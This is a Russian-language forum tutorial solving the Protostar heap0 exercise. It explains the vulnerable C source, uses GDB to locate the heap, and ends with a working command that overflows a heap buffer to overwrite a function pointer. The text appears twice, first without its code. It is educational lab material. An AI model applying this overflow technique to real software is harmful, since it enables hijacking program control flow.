Доброго времени суток codeby. В предыдущих статьях мы работали с уязвимостями форматных строк, а в этой статье мы познакомимся с переполнением буфера в кучи и посмотрим на процесс эксплуатации как это работает.
Описание ExploitMe
Этот уровень знакомит с переполнением кучи и то, как это может повлиять на поток выполнения кода.
Этот уровень находится в / opt / protostar / bin / heap0
Исходный код
Решение
И так рассмотрим исходный код данной программы и определимся с тем, что нам нужно сделать. Собственно суть задачи у нас сегодня такая, нам нужно вызвать мертвую функцию которая никогда не вызывается, функцию
Структура
С этими структурами мы и будем работать. Так же нужно сказать, что при описание какой-либо структуры, происходит объявление нового типа в языке. Теперь предлагаю посмотреть на код, который расположен в главной функции т.е. в
Дальше у нас идет объявление переменных для структур
Поговорим об этом подробнее…
Функция
Но прежде, чем это произойдет, сначала происходит вычисление с помощью оператора
Указатель на структуру
Затем происходит печать адресов
Далее происходит копирование строки, полученную через аргумент. Копирование происходит в кучу.
После чего происходит вызов функции nowinner.
Теперь когда картина нам ясна приступим к эксплуатации.
Первым делом откроем программу под отладчиком и дизассемблируем функцию
Теперь запустим программу под отладчиком и скормим ей строку из символов «А».
Так как мы поставили точку останова на адрес возврата (RET) из функции
Начальный адрес кучи найден —
И мы видим нашу введенную строчку из символов «А», так же можем подсчитать сколько байтов нужно до следующей кучи. Если посмотреть, что расположено по адресу
Видим, что адреса полностью идентичны. Теперь запустим программу под отладчиком и передадим ей 72 байта чтобы заполнить первую кучу и еще 4 байта, чтобы залезть на вторую кучу. Как и в стеке, память кучи аллоцируется ( распределяется ) непрерывно. Это означает, что если мы будем писать за пределами буфера, мы будем перезаписывать другую структуру данных Использовать будем python.
EIP перезаписан. Посмотрим теперь как это все выглядит в памяти.
Видно, что мы перезаписали указатель на функцию, мы положили туда 4 байта из символов «B». Теперь посмотрим адрес функции
Выходим из GDB —
Составляем наш эксплойт и выполняем его.
Вот таким не хитрым способом можно влиять на поток выполнения кода в программе используя переполнения буфера в куче. Многие наверно заметили, что подход тот же, что и при переполнение буфера в стеке. Да, это действительно так, поменялась лишь область памяти с которой мы работаем. Так же тут стоит сказать, что мы только-только начинаем знакомиться с уязвимостями в такой области памяти как куча (Heap). Впереди нас ждут такие уязвимости как "Write-what-where", "Use-After-Free", "Double Free". Ну и самое главное уровень пройден теперь можно переходить на следующий
Описание ExploitMe
Этот уровень знакомит с переполнением кучи и то, как это может повлиять на поток выполнения кода.
Этот уровень находится в / opt / protostar / bin / heap0
Ссылка скрыта от гостей
, VMИсходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
char name[64];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
Решение
И так рассмотрим исходный код данной программы и определимся с тем, что нам нужно сделать. Собственно суть задачи у нас сегодня такая, нам нужно вызвать мертвую функцию которая никогда не вызывается, функцию
winner()
. В случае неудачи будет вызываться функция nowinner()
. Так же у нас определены две структуры данных в глобальной области памяти. Структура data
и fp
. В свою очередь они имеют по одному элементу.Структура
data
имеет элемент name
объявленный как массив. А структура fp
имеет элемент fp
, т.е. с таким же названием, и объявлен этот элемент, как целочисленный указатель на несуществующую функцию. Проще говоря это указатель ну функцию. Мы уже встречались с таким указателем. При вызове fp
, указатель будет вызывать любой адрес памяти.С этими структурами мы и будем работать. Так же нужно сказать, что при описание какой-либо структуры, происходит объявление нового типа в языке. Теперь предлагаю посмотреть на код, который расположен в главной функции т.е. в
main()
.Дальше у нас идет объявление переменных для структур
data
и fp
, а точней говоря объявление указателей структурного типа, для структур data
и fp
. После чего происходит присвоение адресов памяти этим указателям. На начальные адреса, поскольку heap — это область динамической памяти, выделяемая на стадии исполнения программы.Поговорим об этом подробнее…
Функция
malloc()
— это стандартная библиотечная функция в языке Cи, которая выделяет память из участка оперативной памяти, размером равным размеру структуры data
или fp
в области кучи во время выполнения, и возвращает пустой указатель (void *ptr)
на это местоположение т.е. указатель на выделенный блок в памяти.Но прежде, чем это произойдет, сначала происходит вычисление с помощью оператора
sizeof
, который подсчитает нужное количество байтов для выделения — функции malloc()
. Соответственно выделится блок на 64 байта для структуры data
и блок в памяти на 4 байта для структуры fp
.Указатель на структуру
f
ссылается на элемент в структуре fp
, которому присваивается адрес функции nowinner
Код:
f->fp = nowinner;
Затем происходит печать адресов
Код:
printf(«data is at %p, fp is at %p\n», d, f);
Далее происходит копирование строки, полученную через аргумент. Копирование происходит в кучу.
Код:
strcpy(d->name, argv[1]);
После чего происходит вызов функции nowinner.
Код:
f->fp();
Теперь когда картина нам ясна приступим к эксплуатации.
Первым делом откроем программу под отладчиком и дизассемблируем функцию
main()
после чего поставим точку останова на адрес возврата из функции. Чтобы программа при выполнении не завершилась.
Код:
gdb -q ./heap0
disas main
Код:
break *0x08048500
Теперь запустим программу под отладчиком и скормим ей строку из символов «А».
Код:
run AAAA
Так как мы поставили точку останова на адрес возврата (RET) из функции
main()
и скормили программе символы «AAAA», теперь мы поможем посмотреть карту памяти процесса и найти кучу.
Код:
info proc map
Начальный адрес кучи найден —
0x804a000
. Теперь посмотрим в памяти на нашу кучу. Выведем 50 ячеек памяти в шестнадцатеричном формате от начального адреса кучи. Но правильнее будет говорить не 50 ячеек, хотя это тоже правильно, а называть их чанками, поскольку куча состоит из чанков.
Код:
x/50x 0x804a000
И мы видим нашу введенную строчку из символов «А», так же можем подсчитать сколько байтов нужно до следующей кучи. Если посмотреть, что расположено по адресу
0x08048478
мы увидим, что там адрес функции nowinner()
.
Код:
x/x 0x08048478
Код:
print &nowinner
Видим, что адреса полностью идентичны. Теперь запустим программу под отладчиком и передадим ей 72 байта чтобы заполнить первую кучу и еще 4 байта, чтобы залезть на вторую кучу. Как и в стеке, память кучи аллоцируется ( распределяется ) непрерывно. Это означает, что если мы будем писать за пределами буфера, мы будем перезаписывать другую структуру данных Использовать будем python.
Код:
run `python -c «print ‘A»*72 + ‘B’*4″`
EIP перезаписан. Посмотрим теперь как это все выглядит в памяти.
Код:
x/50x 0x804a000
Видно, что мы перезаписали указатель на функцию, мы положили туда 4 байта из символов «B». Теперь посмотрим адрес функции
winner()
. После чего можно будет подставить этот адрес в место 4 байт из последовательности символов «B».
Код:
print &winner
Выходим из GDB —
quit
.Составляем наш эксплойт и выполняем его.
Код:
./heap0 $(python -c "from struct import pack; winner=pack('I',0x8048464); print 'A'*72 + winner")
Вот таким не хитрым способом можно влиять на поток выполнения кода в программе используя переполнения буфера в куче. Многие наверно заметили, что подход тот же, что и при переполнение буфера в стеке. Да, это действительно так, поменялась лишь область памяти с которой мы работаем. Так же тут стоит сказать, что мы только-только начинаем знакомиться с уязвимостями в такой области памяти как куча (Heap). Впереди нас ждут такие уязвимости как "Write-what-where", "Use-After-Free", "Double Free". Ну и самое главное уровень пройден теперь можно переходить на следующий
Ссылка скрыта от гостей
.
Последнее редактирование: